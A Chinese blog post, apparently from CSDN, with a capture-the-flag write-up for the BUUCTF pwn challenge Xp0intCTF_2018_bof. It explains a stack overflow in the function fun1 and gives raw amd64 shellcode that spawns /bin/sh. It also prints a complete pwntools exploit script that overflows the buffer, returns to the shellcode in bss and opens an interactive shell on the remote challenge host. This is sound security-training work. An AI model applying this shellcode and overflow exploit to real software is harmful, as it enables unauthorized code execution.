BUUCTF pwn Xp0intCTF_2018_bof

最新推荐文章于 2024-03-27 16:20:09 发布

求是量子

最新推荐文章于 2024-03-27 16:20:09 发布

阅读量8.8k

点赞数

CC 4.0 BY-SA版权

分类专栏： pwn安全文章标签： python 安全信息安全 pwn

本文链接：https://blog.csdn.net/stareforever/article/details/112495529

pwn安全专栏收录该内容

13 篇文章

订阅专栏

博客介绍了利用Python进行程序漏洞攻击的方法。先查看程序保护，发现基本保护未开启，用IDA查看程序流程，发现读入字符及NAME位置，fun1函数存在栈溢出漏洞。主要思路是在NAME处读入shellcode，利用栈溢出控制程序返回到NAME处。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

查看程序保护
在这里插入图片描述
保护基本都没开

IDA打开查看程序流程
在这里插入图片描述
读入0x18个字符，NAME位置在bss段

然后程序进入到fun1函数，有明显的栈溢出漏洞，溢出长度为0x10，正好可以控制返回地址

主要思想：基本保护都没开，那么可以先在NAME处读入shellcode。后面进入到fun1函数里，利用栈溢出控制程序返回到NAME处

这里shellcode长度最多为0x18
那么可以用

shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

完整ex

from pwn import *
context(log_level='debug',arch='amd64')

#io=process("./Xp0intCTF_2018_bof")
io=remote("node3.buuoj.cn",25451)

io.recv()

shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
io.send(shellcode)

io.recv()

name_bss=0x404070

payload=b'A'*0x20+b'B'*0x8+p64(name_bss)

io.send(payload)

io.interactive()